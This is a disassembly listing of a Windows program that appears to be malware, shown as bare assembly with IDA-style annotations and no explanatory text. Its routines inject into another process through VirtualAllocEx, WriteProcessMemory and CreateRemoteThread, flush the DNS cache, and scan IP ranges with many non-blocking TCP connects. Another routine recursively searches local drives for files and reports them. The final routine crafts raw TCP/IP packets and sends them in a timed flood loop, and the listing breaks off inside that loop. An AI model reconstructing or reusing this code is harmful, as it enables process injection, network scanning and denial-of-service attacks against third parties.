		push	ebx
		push	ebx
		call	dword_40104C	; DuplicateHandle
		mov	eax, [ebp+var_8]
		push	4
		push	1000h
		push	138h
		push	esi
		mov	dword_401950, eax
		push	dword_401650
		mov	dword_40195C, eax
		call	dword_401048	; VirtualAllocEx
		mov	ebx, dword_401044
		push	esi
		push	34h
		push	offset loc_401948
		push	eax
		mov	[ebp+var_4], eax
		push	dword_401650
		call	ebx	; WriteProcessMemory
		mov	eax, [ebp+var_4]
		push	esi
		push	104h
		add	eax, 34h
		push	offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	eax
		push	dword_401650
		call	ebx	; WriteProcessMemory
		push	esi
		push	esi
		push	esi
		push	[ebp+var_4]
		push	esi
		push	esi
		push	dword_401650
		call	dword_401070	; CreateRemoteThread
		push	esi
		call	edi	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx
sub_402CD9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_402DBC	proc near		; CODE XREF: sub_40228C+20p
					; sub_4040DE+DCp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jbe	short locret_402DDA
		mov	edx, ecx
		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi

locret_402DDA:				; CODE XREF: sub_402DBC+6j
		retn	8
sub_402DBC	endp


; =============== S U B	R O U T	I N E =======================================



sub_402DDD	proc near		; CODE XREF: sub_40443A+F0p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jbe	short locret_402E0B
		mov	al, [esp+arg_8]
		push	ebx
		mov	bl, al
		mov	edx, ecx
		mov	bh, bl
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, ebx
		shl	eax, 10h
		mov	ax, bx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		pop	ebx

locret_402E0B:				; CODE XREF: sub_402DDD+6j
		retn	0Ch
sub_402DDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_402E0E	proc near		; CODE XREF: sub_40230D+228p
					; sub_40325F+1Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jbe	short loc_402E2A
		mov	ecx, [esp+4+arg_0]
		mov	eax, [esp+4+arg_4]
		sub	eax, ecx


loc_402E21:				; CODE XREF: sub_402E0E+1Aj
		mov	dl, [eax+ecx]
		mov	[ecx], dl
		inc	ecx
		dec	esi
		jnz	short loc_402E21


loc_402E2A:				; CODE XREF: sub_402E0E+7j
		pop	esi
		retn	0Ch
sub_402E0E	endp


; =============== S U B	R O U T	I N E =======================================



sub_402E2E	proc near		; CODE XREF: sub_40230D+1C3p
					; sub_40258D+13p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]


loc_402E32:				; CODE XREF: sub_402E2E+11j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_402E41
		cmp	cl, [esp+arg_4]
		jz	short locret_402E43
		inc	eax
		jmp	short loc_402E32
; ---------------------------------------------------------------------------


loc_402E41:				; CODE XREF: sub_402E2E+8j
		xor	eax, eax

locret_402E43:				; CODE XREF: sub_402E2E+Ej
		retn	8
sub_402E2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402E46	proc near		; CODE XREF: sub_403DA9+1B8p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edx, esi
		mov	cl, [esi]
		test	cl, cl
		mov	byte ptr [ebp+arg_0+3],	cl
		jz	short loc_402E81


loc_402E5D:				; CODE XREF: sub_402E46+37j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_402E7F
		cmp	cl, byte ptr [ebp+arg_0+3]
		jnz	short loc_402E7C
		mov	edi, eax
		sub	edi, esi


loc_402E6C:				; CODE XREF: sub_402E46+32j
		mov	cl, [edx]
		test	cl, cl
		jz	short loc_402E81
		mov	bl, [edi+edx]
		inc	edx
		cmp	bl, cl
		jz	short loc_402E6C
		mov	edx, esi


loc_402E7C:				; CODE XREF: sub_402E46+20j
		inc	eax
		jmp	short loc_402E5D
; ---------------------------------------------------------------------------


loc_402E7F:				; CODE XREF: sub_402E46+1Bj
		xor	eax, eax


loc_402E81:				; CODE XREF: sub_402E46+15j
					; sub_402E46+2Aj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
sub_402E46	endp


; =============== S U B	R O U T	I N E =======================================



sub_402E88	proc near		; CODE XREF: sub_40230D+9p
					; sub_4027CB:loc_40284Dp
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	dword_401060	; LoadLibraryA
		test	eax, eax
		jz	short locret_402EA9
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	eax
		call	dword_40105C	; GetProcAddress
		test	eax, eax
		jz	short locret_402EA9
		jmp	eax
; ---------------------------------------------------------------------------

locret_402EA9:				; CODE XREF: sub_402E88+Dj
					; sub_402E88+1Dj
		retn
sub_402E88	endp


; =============== S U B	R O U T	I N E =======================================



sub_402EAA	proc near		; CODE XREF: sub_40258D:loc_402747p
					; sub_4027CB:loc_4029D8p
		cmp	dword_4019B4, 1
		jnz	short locret_402EFC
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		mov	edi, dword_401064
		push	esi
		push	esi
		mov	ebx, offset sub_402F08
		push	8B00h
		push	ebx
		push	esi
		push	esi
		mov	dword_4019B4, esi
		call	edi	; CreateThread
		push	esi
		push	esi
		push	0BD01h
		push	ebx
		push	esi
		push	esi
		call	edi	; CreateThread
		push	esi
		push	esi
		push	18B00h
		push	ebx
		push	esi
		push	esi
		call	edi	; CreateThread
		push	esi
		push	esi
		push	1BD01h
		push	ebx
		push	esi
		push	esi
		call	edi	; CreateThread
		pop	edi
		pop	esi
		pop	ebx

locret_402EFC:				; CODE XREF: sub_402EAA+7j
		retn
sub_402EAA	endp


; =============== S U B	R O U T	I N E =======================================



sub_402EFD	proc near		; CODE XREF: sub_4027CB:loc_402916p
		mov	dword_4019B4, 1
		retn
sub_402EFD	endp


; =============== S U B	R O U T	I N E =======================================



sub_402F08	proc near		; DATA XREF: sub_402EAA+16o

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	edi
		call	dword_401068	; GetCurrentThreadId
		mov	edi, eax
		call	dword_4010B4	; GetTickCount
		xor	edi, eax
		mov	eax, dword_4014C0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402F2B
		mov	eax, edi
		shl	eax, 10h
		jmp	short loc_402F39
; ---------------------------------------------------------------------------


loc_402F2B:				; CODE XREF: sub_402F08+1Aj
		xor	ecx, ecx
		mov	ch, al
		movzx	eax, ah
		or	ecx, eax
		shl	ecx, 10h
		mov	eax, ecx


loc_402F39:				; CODE XREF: sub_402F08+21j
		mov	ecx, 0FFFF0000h
		test	[esp+8+arg_0], ecx
		jnz	short loc_402F4E
		mov	[esp+8+var_4], 0FF00h
		jmp	short loc_402F5B
; ---------------------------------------------------------------------------


loc_402F4E:				; CODE XREF: sub_402F08+3Aj
		mov	ecx, 0FF000000h
		mov	[esp+8+var_4], 0FFFF00h


loc_402F5B:				; CODE XREF: sub_402F08+44j
		cmp	dword_4019B4, 0
		jnz	short loc_402FBC
		push	ebx
		mov	ebx, dword_4010D4
		push	ebp
		mov	ebp, ecx
		push	esi
		and	ebp, eax


loc_402F71:				; CODE XREF: sub_402F08+AFj
		mov	esi, [esp+14h+var_4]
		push	400h
		and	esi, edi
		or	esi, ebp
		call	ebx	; Sleep
		lea	edi, [esi+100h]


loc_402F86:				; CODE XREF: sub_402F08+96j
		cmp	esi, edi
		jnb	short loc_402FA0
		push	[esp+14h+arg_0]
		push	esi
		call	sub_402FC3
		push	200h
		call	ebx	; Sleep
		add	esi, 20h
		jmp	short loc_402F86
; ---------------------------------------------------------------------------


loc_402FA0:				; CODE XREF: sub_402F08+80j
		call	dword_401068	; GetCurrentThreadId
		mov	edi, eax
		call	dword_4010B4	; GetTickCount
		xor	edi, eax
		cmp	dword_4019B4, 0
		jz	short loc_402F71
		pop	esi
		pop	ebp
		pop	ebx


loc_402FBC:				; CODE XREF: sub_402F08+5Aj
		xor	eax, eax
		pop	edi
		pop	ecx
		retn	4
sub_402F08	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402FC3	proc near		; CODE XREF: sub_402F08+87p

var_2A8		= dword	ptr -2A8h
var_2A4		= dword	ptr -2A4h
var_1A4		= dword	ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2A8h
		mov	ax, word ptr [ebp+arg_4]
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	[ebp+var_8], 1
		mov	[ebp+var_1A4], ebx
		mov	[ebp+var_2A8], ebx
		mov	[ebp+var_20], 2
		mov	[ebp+var_1E], ax
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		lea	edi, [ebp+var_A0]
		mov	[ebp+arg_4], 20h


loc_403005:				; CODE XREF: sub_402FC3+D8j
		push	6
		push	1
		push	2
		call	dword_401128	; socket
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[edi], esi
		call	dword_401164	; ioctlsocket
		mov	ecx, [ebp+var_1A4]
		xor	eax, eax
		cmp	ecx, ebx
		jbe	short loc_403043
		lea	edx, [ebp+var_1A0]


loc_403037:				; CODE XREF: sub_402FC3+7Ej
		cmp	[edx], esi
		jz	short loc_403043
		inc	eax
		add	edx, 4
		cmp	eax, ecx
		jb	short loc_403037


loc_403043:				; CODE XREF: sub_402FC3+6Cj
					; sub_402FC3+76j
		cmp	eax, ecx
		jnz	short loc_403059
		cmp	ecx, 40h
		jnb	short loc_403059
		mov	[ebp+eax*4+var_1A0], esi
		inc	[ebp+var_1A4]


loc_403059:				; CODE XREF: sub_402FC3+82j
					; sub_402FC3+87j
		mov	edx, [ebp+var_2A8]
		xor	eax, eax
		cmp	edx, ebx
		jbe	short loc_403077
		lea	ecx, [ebp+var_2A4]


loc_40306B:				; CODE XREF: sub_402FC3+B2j
		cmp	[ecx], esi
		jz	short loc_403077
		inc	eax
		add	ecx, 4
		cmp	eax, edx
		jb	short loc_40306B


loc_403077:				; CODE XREF: sub_402FC3+A0j
					; sub_402FC3+AAj
		cmp	eax, edx
		jnz	short loc_40308D
		cmp	edx, 40h
		jnb	short loc_40308D
		mov	[ebp+eax*4+var_2A4], esi
		inc	[ebp+var_2A8]


loc_40308D:				; CODE XREF: sub_402FC3+B6j
					; sub_402FC3+BBj
		push	10h
		call	dword_4010D4	; Sleep
		add	edi, 4
		dec	[ebp+arg_4]
		jnz	loc_403005
		mov	ebx, dword_401168
		xor	esi, esi
		lea	edi, [ebp+var_A0]


loc_4030AF:				; CODE XREF: sub_402FC3+10Cj
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	eax
		call	ebx	; htonl
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	dword ptr [edi]
		call	dword_401130	; connect
		inc	esi
		add	edi, 4
		cmp	esi, 20h
		jl	short loc_4030AF
		push	1400h
		call	dword_4010D4	; Sleep
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2A8]
		push	0
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	0
		call	dword_40113C	; select
		mov	[ebp+var_4], eax
		lea	esi, [ebp+var_A0]
		mov	[ebp+arg_4], 20h


loc_403108:				; CODE XREF: sub_402FC3+17Fj
		mov	edi, [esi]
		push	edi
		call	dword_401144	; closesocket
		cmp	[ebp+var_4], 0FFFFFFFFh
		jz	short loc_403139
		lea	eax, [ebp+var_1A4]
		push	eax
		push	edi
		call	sub_404648	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_40313C
		lea	eax, [ebp+var_2A8]
		push	eax
		push	edi
		call	sub_404648	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_40313C


loc_403139:				; CODE XREF: sub_402FC3+152j
		or	dword ptr [esi], 0FFFFFFFFh


loc_40313C:				; CODE XREF: sub_402FC3+163j
					; sub_402FC3+174j
		add	esi, 4
		dec	[ebp+arg_4]
		jnz	short loc_403108
		xor	esi, esi
		lea	edi, [ebp+var_A0]


loc_40314C:				; CODE XREF: sub_402FC3+1B9j
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_403175
		mov	eax, [ebp+arg_0]
		push	0
		add	eax, esi
		push	0
		push	eax
		call	ebx	; htonl
		push	eax
		push	offset sub_40442C
		push	0
		push	0
		call	dword_401064	; CreateThread
		push	8
		call	dword_4010D4	; Sleep


loc_403175:				; CODE XREF: sub_402FC3+18Cj
		inc	esi
		add	edi, 4
		cmp	esi, 20h
		jl	short loc_40314C
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_402FC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403185	proc near		; CODE XREF: sub_40258D+9Bp
					; sub_403185+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	al, [edi]
		test	al, al
		jz	short loc_4031F6
		mov	esi, [ebp+arg_4]
		lea	ecx, [edi+1]
		mov	[ebp+arg_0], ecx


loc_40319D:				; CODE XREF: sub_403185+64j
		cmp	al, 2Ah
		jz	short loc_4031D1
		cmp	al, 3Fh
		jz	short loc_4031CA
		mov	ebx, dword_4010F8
		movzx	eax, al
		push	eax
		call	ebx	; CharUpperA
		mov	edx, eax
		movzx	eax, byte ptr [esi]
		push	eax
		mov	[ebp+arg_4], edx
		call	ebx	; CharUpperA
		mov	ecx, [ebp+arg_4]
		cmp	ecx, eax
		jnz	short loc_4031ED


loc_4031C3:				; CODE XREF: sub_403185+4Aj
		inc	esi
		inc	edi
		inc	[ebp+arg_0]
		jmp	short loc_4031E5
; ---------------------------------------------------------------------------


loc_4031CA:				; CODE XREF: sub_403185+1Ej
		cmp	byte ptr [esi],	0
		jz	short loc_4031ED
		jmp	short loc_4031C3
; ---------------------------------------------------------------------------


loc_4031D1:				; CODE XREF: sub_403185+1Aj
		push	esi
		push	[ebp+arg_0]
		call	sub_403185
		cmp	eax, 1
		jz	short loc_4031F1
		cmp	byte ptr [esi],	0
		jz	short loc_4031ED
		inc	esi


loc_4031E5:				; CODE XREF: sub_403185+43j
		mov	al, [edi]
		test	al, al
		jnz	short loc_40319D
		jmp	short loc_4031F9
; ---------------------------------------------------------------------------


loc_4031ED:				; CODE XREF: sub_403185+3Cj
					; sub_403185+48j ...
		xor	eax, eax
		jmp	short loc_403200
; ---------------------------------------------------------------------------


loc_4031F1:				; CODE XREF: sub_403185+58j
		push	1
		pop	eax
		jmp	short loc_403200
; ---------------------------------------------------------------------------


loc_4031F6:				; CODE XREF: sub_403185+Dj
		mov	esi, [ebp+arg_4]


loc_4031F9:				; CODE XREF: sub_403185+66j
		xor	eax, eax
		cmp	[esi], al
		setz	al


loc_403200:				; CODE XREF: sub_403185+6Aj
					; sub_403185+6Fj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
sub_403185	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403207	proc near		; CODE XREF: sub_4027CB+268p

var_108		= dword	ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	esi
		push	104h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_104]
		xor	esi, esi
		push	eax
		mov	[ebp+var_108], esi
		call	dword_4010BC	; lstrcpyn
		push	esi
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		push	offset sub_40325F
		push	esi
		push	esi
		call	dword_401064	; CreateThread
		test	eax, eax
		jz	short loc_40325A


loc_403248:				; CODE XREF: sub_403207+51j
		cmp	[ebp+var_108], esi
		jnz	short loc_40325A
		push	8
		call	dword_4010D4	; Sleep
		jmp	short loc_403248
; ---------------------------------------------------------------------------


loc_40325A:				; CODE XREF: sub_403207+3Fj
					; sub_403207+47j
		pop	esi
		leave
		retn	4
sub_403207	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40325F	proc near		; DATA XREF: sub_403207+30o

var_308		= byte ptr -308h
var_108		= byte ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 308h
		push	esi
		mov	esi, [ebp+arg_0]
		push	108h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		call	sub_402E0E
		mov	dword ptr [esi], 1
		lea	eax, [ebp+var_308]
		mov	esi, 200h
		push	eax
		push	esi
		call	dword_401074	; GetLogicalDriveStringsA
		test	eax, eax
		jz	short loc_4032D9
		cmp	eax, esi
		ja	short loc_4032D9
		cmp	[ebp+var_308], 0
		lea	esi, [ebp+var_308]
		jz	short loc_4032D9


loc_4032AE:				; CODE XREF: sub_40325F+78j
		push	esi
		call	dword_4010D8	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_4032C7
		lea	eax, [ebp+var_104]
		push	eax
		push	esi
		call	sub_4032E0


loc_4032C7:				; CODE XREF: sub_40325F+59j
		push	esi
		call	dword_40106C	; lstrlen
		cmp	byte ptr [esi+eax+1], 0
		lea	esi, [esi+eax+1]
		jnz	short loc_4032AE


loc_4032D9:				; CODE XREF: sub_40325F+3Aj
					; sub_40325F+3Ej ...
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40325F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4032E0	proc near		; CODE XREF: sub_40325F+63p
					; sub_4032E0+B3p

var_540		= byte ptr -540h
var_340		= byte ptr -340h
var_140		= dword	ptr -140h
var_114		= byte ptr -114h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 540h
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_401110
		push	[ebp+arg_0]
		lea	eax, [ebp+var_340]
		push	offset a_256s	; "%.256s*"
		push	eax
		call	edi	; wsprintfA
		mov	esi, dword_401080
		add	esp, 0Ch
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_340]
		push	eax
		call	esi	; FindFirstFileA
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_340]
		push	eax
		call	esi	; FindFirstFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4033F2
		mov	esi, dword_4010B0


loc_40333D:				; CODE XREF: sub_4032E0+105j
		mov	eax, [ebp+var_140]
		and	eax, 10h
		cmp	al, 10h
		jnz	short loc_40339A
		lea	eax, [ebp+var_114]
		push	offset a_	; "."
		push	eax
		call	esi	; lstrcmp
		test	eax, eax
		jz	short loc_4033D5
		lea	eax, [ebp+var_114]
		push	offset a__	; ".."
		push	eax
		call	esi	; lstrcmp
		test	eax, eax
		jz	short loc_4033D5
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_340]
		push	[ebp+arg_0]
		push	offset a_256s_250s ; "%.256s%.250s\\"
		push	eax
		call	edi	; wsprintfA
		add	esp, 10h
		lea	eax, [ebp+var_340]
		push	[ebp+arg_4]
		push	eax
		call	sub_4032E0
		jmp	short loc_4033D5
; ---------------------------------------------------------------------------


loc_40339A:				; CODE XREF: sub_4032E0+68j
		lea	eax, [ebp+var_114]
		push	eax
		push	[ebp+arg_4]
		call	sub_403185
		cmp	eax, 1
		jnz	short loc_4033D5
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_540]
		push	[ebp+arg_0]
		push	offset aFindfile_256s_ ; "[findfile] %.256s%.240s"
		push	eax
		call	edi	; wsprintfA
		add	esp, 10h
		lea	eax, [ebp+var_540]
		push	eax
		call	sub_40254D


loc_4033D5:				; CODE XREF: sub_4032E0+7Aj
					; sub_4032E0+8Cj ...
		lea	eax, [ebp+var_140]
		push	eax
		push	ebx
		call	dword_40107C	; FindNextFileA
		test	eax, eax
		jnz	loc_40333D
		push	ebx
		call	dword_401078	; FindClose


loc_4033F2:				; CODE XREF: sub_4032E0+51j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_4032E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4033F9	proc near		; CODE XREF: sub_4027CB+257p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	20h
		push	[ebp+arg_0]
		call	sub_402E2E
		mov	esi, eax
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_4034B0
		push	20h
		lea	eax, [ebp+var_24]
		push	[ebp+arg_0]
		mov	[esi], bl
		inc	esi
		push	eax
		call	dword_4010BC	; lstrcpyn
		push	20h
		push	esi
		call	sub_402E2E
		cmp	eax, ebx
		jz	short loc_4034B0
		mov	[eax], bl
		inc	eax
		mov	word ptr [ebp+var_4], bx


loc_40343C:				; CODE XREF: sub_4033F9+62j
		cmp	[esi], bl
		jz	short loc_40345D
		mov	ecx, [ebp+var_4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 1
		mov	word ptr [ebp+var_4], cx
		movzx	dx, byte ptr [esi]
		sub	edx, 30h
		add	cx, dx
		inc	esi
		mov	word ptr [ebp+var_4], cx
		jmp	short loc_40343C
; ---------------------------------------------------------------------------


loc_40345D:				; CODE XREF: sub_4033F9+45j
		xor	ecx, ecx
		mov	[ebp+var_28], ecx


loc_403462:				; CODE XREF: sub_4033F9+80j
		cmp	[eax], bl
		jz	short loc_40347B
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 1
		mov	[ebp+var_28], ecx
		movzx	edx, byte ptr [eax]
		inc	eax
		lea	ecx, [ecx+edx-30h]
		mov	[ebp+var_28], ecx
		jmp	short loc_403462
; ---------------------------------------------------------------------------


loc_40347B:				; CODE XREF: sub_4033F9+6Bj
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	ebx
		push	eax
		push	offset sub_4034C1
		push	ebx
		push	ebx
		mov	[ebp+var_30], ebx
		mov	dword_4014B0, ebx
		call	dword_401064	; CreateThread
		test	eax, eax
		jz	short loc_4034B0


loc_4034A1:				; CODE XREF: sub_4033F9+B5j
		cmp	[ebp+var_30], ebx
		jnz	short loc_4034B0
		push	8
		call	dword_4010D4	; Sleep
		jmp	short loc_4034A1
; ---------------------------------------------------------------------------


loc_4034B0:				; CODE XREF: sub_4033F9+18j
					; sub_4033F9+3Aj ...
		pop	esi
		pop	ebx
		leave
		retn	8
sub_4033F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4034B6	proc near		; CODE XREF: sub_4027CB+C6p
		mov	dword_4014B0, 1
		retn
sub_4034B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4034C1	proc near		; DATA XREF: sub_4033F9+8Eo

var_2D8		= byte ptr -2D8h
var_D8		= byte ptr -0D8h
var_D4		= dword	ptr -0D4h
var_C8		= byte ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= byte ptr -0BCh
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_90		= byte ptr -90h
var_8E		= word ptr -8Eh
var_84		= byte ptr -84h
var_74		= word ptr -74h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= byte ptr -50h
var_4F		= byte ptr -4Fh
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_46		= word ptr -46h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= byte ptr -40h
var_3F		= byte ptr -3Fh
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= dword	ptr -2Ch
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D8h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	0Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		movsw
		push	1
		pop	esi
		push	0FFh
		push	3
		push	2
		mov	[eax], esi
		call	dword_401128	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_403778
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	0
		push	eax
		mov	[ebp+var_34], esi
		call	dword_40116C	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_403778
		lea	eax, [ebp+var_BC]
		push	eax
		call	dword_401120	; inet_addr
		mov	ebx, eax
		lea	eax, [ebp+var_4C]
		and	[ebp+var_2E], 0
		push	eax
		lea	eax, [ebp+var_D8]
		mov	[ebp+var_30], 2
		push	eax
		mov	[ebp+var_2C], ebx
		push	dword_4014BC
		mov	[ebp+var_4C], 10h
		call	dword_401138	; getsockname
		cmp	eax, 0FFFFFFFFh
		jz	loc_403778
		mov	esi, dword_4010B4
		call	esi	; GetTickCount
		and	[ebp+var_42], 0
		and	[ebp+var_3E], 0
		mov	edi, eax
		mov	[ebp+var_48], 45h
		shl	edi, 18h
		xor	edi, [ebp+var_D4]
		mov	[ebp+var_46], 2800h
		mov	[ebp+var_44], 1
		mov	[ebp+var_40], 80h
		mov	[ebp+var_3F], 6
		call	esi	; GetTickCount
		xor	eax, 95EC27A5h
		mov	[ebp+var_13], 2
		mov	[ebp+var_1C], eax
		xor	eax, eax
		and	[ebp+var_50], al
		cmp	word ptr [ebp+var_9C], ax
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], 50h
		mov	[ebp+var_12], 2
		mov	[ebp+var_E], ax
		mov	[ebp+var_10], ax
		mov	[ebp+var_4F], 6
		mov	[ebp+var_4E], 1400h
		mov	[ebp+var_38], ebx
		mov	[ebp+var_54], ebx
		mov	[ebp+var_3C], edi
		mov	[ebp+var_58], edi
		jnz	short loc_4035E0
		call	esi	; GetTickCount
		jmp	short loc_4035EC
; ---------------------------------------------------------------------------


loc_4035E0:				; CODE XREF: sub_4034C1+119j
		push	[ebp+var_9C]
		call	dword_40115C	; htons


loc_4035EC:				; CODE XREF: sub_4034C1+11Dj
		mov	[ebp+var_1E], ax
		call	esi	; GetTickCount
		xor	eax, 82E4h
		push	0Ch
		mov	[ebp+var_20], ax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		call	sub_402E0E
		lea	eax, [ebp+var_20]
		push	14h
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_402E0E
		lea	eax, [ebp+var_90]
		push	20h
		push	eax
		call	sub_403781
		mov	[ebp+var_74], ax
		lea	eax, [ebp+var_48]
		push	14h
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_402E0E
		lea	eax, [ebp+var_98]
		push	28h
		push	eax
		call	sub_403781
		mov	[ebp+var_8E], ax
		mov	[ebp+var_C], 1
		call	esi	; GetTickCount
		mov	edi, [ebp+var_C0]
		mov	dword ptr [ebp+var_8+4], eax
		imul	edi, 3E8h
		add	edi, eax
		lea	eax, [ebp+var_30]
		mov	ebx, dword_401160
		push	10h
		push	eax
		push	0
		lea	eax, [ebp+var_98]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	ebx	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_403778


loc_403697:				; CODE XREF: sub_4034C1+241j
		call	esi	; GetTickCount
		cmp	eax, edi
		jnb	short loc_403704
		cmp	dword_4014B0, 0
		jnz	short loc_403704
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	0
		lea	eax, [ebp+var_98]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	ebx	; sendto
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	0
		lea	eax, [ebp+var_98]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	ebx	; sendto
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	0
		lea	eax, [ebp+var_98]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	ebx	; sendto
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	0
		lea	eax, [ebp+var_98]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	ebx	; sendto
		add	[ebp+var_C], 4
